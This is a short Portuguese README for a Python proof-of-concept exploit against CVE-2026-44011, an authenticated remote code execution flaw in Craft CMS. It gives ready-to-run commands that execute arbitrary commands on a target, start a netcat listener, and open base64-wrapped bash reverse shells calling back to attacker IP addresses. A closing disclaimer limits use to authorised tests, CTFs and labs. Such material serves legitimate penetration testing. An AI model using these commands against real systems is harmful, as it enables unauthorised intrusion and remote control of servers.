Prova de conceito em Python para CVE-2026-44011 no Craft CMS, explorando execução remota de código autenticada com execução de comandos e payloads de reverse shell encapsulados em base64.
CVE-2026-44011-craft-rce-poc Uso
Comando único: bash
python3 craft_rce.py -b http://target -u USER -p PASS -c 'id'
Reverse shell (bash encapsulado em base64):
nc -lvnp 4444
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.10.14.213 4444
Se o alvo não conseguir alcançar o seu callback, aponte-o explicitamente:
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.13.37.200 4444 -H 10.13.37.200 --listen-port 35509
Aviso legal
Apenas para testes autorizados, CTFs e ambientes de laboratório. Não utilize contra sistemas que você não possui ou para os quais não tem permissão explícita de teste.
